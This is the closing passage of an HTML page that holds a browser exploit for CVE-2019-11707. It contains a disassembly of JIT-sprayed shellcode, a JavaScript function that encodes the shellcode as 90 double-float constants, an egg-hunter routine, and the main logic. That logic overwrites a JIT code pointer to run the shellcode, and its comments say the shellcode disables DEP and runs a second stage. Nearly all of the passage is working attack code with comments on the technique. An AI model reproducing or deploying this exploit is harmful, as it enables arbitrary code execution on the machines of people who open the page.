000002C6944D4B22 | E8 C9C6FBFF | call 2C6944911F0
000002C6944D4B27 | CC | int3
000002C6944D4B28 | 6A 00 | push 0
000002C6944D4B2A | E9 11000000 | jmp 2C6944D4B40
000002C6944D4B2F | 50 | push rax
000002C6944D4B30 | 68 20080000 | push 820
000002C6944D4B35 | E8 5603FCFF | call 2C694494E90
000002C6944D4B3A | 58 | pop rax
000002C6944D4B3B | E9 85F9FFFF | jmp 2C6944D44C5
000002C6944D4B40 | 6A 00 | push 0
000002C6944D4B42 | E9 D9C5FBFF | jmp 2C694491120
000002C6944D4B47 | F4 | hlt
000002C6944D4B48 | 41414141:0000 | add byte ptr ds:[r8],al <- JIT sprayed egg double
000002C6944D4B4E | 0000 | add byte ptr ds:[rax],al
000002C6944D4B50 | 90 | nop <- JIT sprayed shellcode begins here
000002C6944D4B51 | 90 | nop
000002C6944D4B52 | 55 | push rbp
000002C6944D4B53 | 48:89E5 | mov rbp,rsp
000002C6944D4B56 | 48:83EC 40 | sub rsp,40
000002C6944D4B5A | 48:83EC 08 | sub rsp,8
000002C6944D4B5E | 40:80E4 F7 | and spl,F7
000002C6944D4B62 | 48:B8 1122334455667788 | mov rax,8877665544332211
000002C6944D4B6C | 48:8945 C8 | mov qword ptr ss:[rbp-38],rax
000002C6944D4B70 | 48:C7C1 884E0D00 | mov rcx,D4E88
000002C6944D4B77 | E8 F9000000 | call 2C6944D4C75
This then introduces another constaint on JIT spraying beyoond forcing your
assembly bytecode to be 100% valid double floats. You are also limited to a
maximum of 100 doubles (800 bytes) including your egg prefix.
*/
function JITSprayFunc(){
Egg = 5.40900888e-315; // AAAA\x00\x00\x00\x00
X1 = 58394.27801956298;
X2 = -3.384548150597339e+269;
X3 = -9.154525457562153e+192;
X4 = 4.1005939302288804e+42;
X5 = -5.954550387086224e-264;
X6 = -6.202600667005017e-264;
X7 = 3.739444822644755e+67;
X8 = -1.2650161464211396e+258;
X9 = -2.6951286493033994e+35;
X10 = 1.3116505146398627e+104;
X11 = -1.311379727091241e+181;
X12 = 1.1053351980286266e-265;
X13 = 7.66487078033362e+42;
X14 = 1.6679557218696946e-235;
X15 = 1.1327634929857868e+27;
X16 = 6.514949632148056e-152;
X17 = 3.75559130646382e+255;
X18 = 8.6919639111614e-311;
X19 = -1.0771492276655187e-142;
X20 = 1.0596460749348558e+39;
X21 = 4.4990090566228275e-228;
X22 = 2.6641556100123696e+41;
X23 = -3.695293685173417e+49;
X24 = 7.675324624976707e-297;
X25 = 5.738262935249441e+40;
X26 = 4.460149175031513e+43;
X27 = 8.958658002980807e-287;
X28 = -1.312880373645135e+35;
X29 = 4.864674571015197e+42;
X30 = -2.500435320470142e+35;
X31 = -2.800945285957394e+277;
X32 = 1.44103957698964e+28;
X33 = 3.8566513062216665e+65;
X34 = 1.37405680231e-312;
X35 = 1.6258034990195507e-191;
X36 = 1.5008582713363865e+43;
X37 = 3.1154847750709123;
X38 = -6.809578792021008e+214;
X39 = -7.696699288147737e+115;
X40 = 3.909631192677548e+112;
X41 = 1.5636948002514616e+158;
X42 = -2.6295656969507476e-254;
X43 = -6.001472476578534e-264;
X44 = 9.25337251529007e-33;
X45 = 4.419915842157561e-80;
X46 = 8.07076629722016e+254;
X47 = 3.736523284e-314;
X48 = 3.742120352320771e+254;
X49 = 1.0785207713761078e-32;
X50 = -2.6374368557341455e-254;
X51 = 1.2702053652464168e+145;
X52 = -1.3113796337500435e+181;
X53 = 1.2024564583763433e+111;
X54 = 1.1326406542153807e+104;
X55 = 9.646933740426927e+39;
X56 = -2.5677414592270957e-254;
X57 = 1.5864445474697441e+233;
X58 = -2.6689139052065564e-251;
X59 = 1.0555057376604044e+27;
X60 = 8.364524068863995e+42;
X61 = 3.382975178824556e+43;
X62 = -8.511722322449098e+115;
X63 = -2.2763239573787572e+271;
X64 = -6.163839243926498e-264;
X65 = 1.5186209005088964e+258;
X66 = 7.253360348539147e-192;
X67 = -1.2560830051206045e+234;
X68 = 1.102849544e-314;
X69 = -2.276324008154652e+271;
X70 = 2.8122150524016884e-71;
X71 = 5.53602304257365e-310;
X72 = -6.028598990540894e-264;
X73 = 1.0553922879130128e+27;
X74 = -1.098771600725952e-244;
X75 = -2.5574368247075522e-254;
X76 = 3.618778572061404e-171;
X77 = -1.4656824334476123e+40;
X78 = 4.6232700581905664e+42;
X79 = -3.6562604268727894e+125;
X80 = -2.927408487880894e+78;
X81 = 1.087942540606703e-309;
X82 = 6.440226123500225e+264;
X83 = 3.879424446462186e+148;
X84 = 3.234472631797124e+40;
X85 = 1.4186706350383543e-307;
X86 = 1.2617245769382784e-234;
X87 = 1.3810793979336581e+43;
X88 = 1.565026152201332e+43;
X89 = 5.1402745833993635e+153;
X90 = 9.63e-322;
}
function EggHunter(TargetAddressDbl) {
var ScanPtr = TargetAddressDbl;
for(var i = 0; i < 1000; i++) { // 1000 QWORDs give me the most stable result. The more double float constants are in the JIT'd function, the more handler code seems to precede them.
HelperDbl[0] = ScanPtr;
var DblVal = StrongLeakDbl(ScanPtr); // The JIT'd ASM code being scanned is likely to contain 8 byte sequences which will not be interpreted as doubles (and will have tagged pointer bits set). Use explicit/strong primitive for these reads.
if(DblVal == 5.40900888e-315) {
HelperDbl[0] = ScanPtr;
HelperDword[0] = HelperDword[0] + 8; // Skip over egg bytes and return precise pointer to the shellcode
return HelperDbl[0];
}
HelperDbl[0] = ScanPtr;
HelperDword[0] = HelperDword[0] + 8;
ScanPtr = HelperDbl[0];
}
return 0.0;
}
////////
////////
// Primary high level exploit logic
////////
function CVE_2019_11707() {
for(var i = 0; i < JITIterations; i++) {
JITSprayFunc(); // JIT spray the shellcode to a private +RX region of virtual memory
}
var JITCodePtr = GetJSFuncJITCodePtr(JITSprayFunc);
if(JITCodePtr) {
// Setup the strong read primitive for the stage one egg hunter: attempting to interpret assembly byte code as doubles via weak primitive may crash the process (tagged pointer bits could cause the read value to be dereferenced as a pointer)
HelperDbl[0] = JITCodePtr;
DebugLog("JIT spray code pointer is 0x" + HelperDword[1].toString(16) + HelperDword[0].toString(16));
InitStrongRWPrimitive();
ShellcodeAddress = EggHunter(JITCodePtr); // For this we need the strong read primitive since values here can start with 0xffff and thus act as tags
if(ShellcodeAddress) {
// Trigger code exec by calling the JIT sprayed function again. Its code pointer has been overwritten to now point to the literal shellcode data within the JIT'd function
HelperDbl[0] = ShellcodeAddress;
DebugLog("Shellcode pointer is 0x" + HelperDword[1].toString(16) + HelperDword[0].toString(16));
var JITInfoAddress = GetJSFuncJITInfoPtr(JITSprayFunc);
WeakWriteDbl(JITInfoAddress, ShellcodeAddress);
JITSprayFunc(); // Notably the location of the data in the stage two shellcode Uint8Array can be found at offset 0x40 from the start of the array object when the array is small, and when it is large a pointer to it can be found at offset 0x38 from the start of the array object. In this case though, the stage one egg hunter shellcode finds, disables DEP and ADDITIONALLY executes the stage two shellcode itself, so there is no reason to locate/execute it from JS.
}
else {
DebugLog("Failed to resolve shellcode address");
}
}
}
CVE_2019_11707();
</script>
</body>
</html>
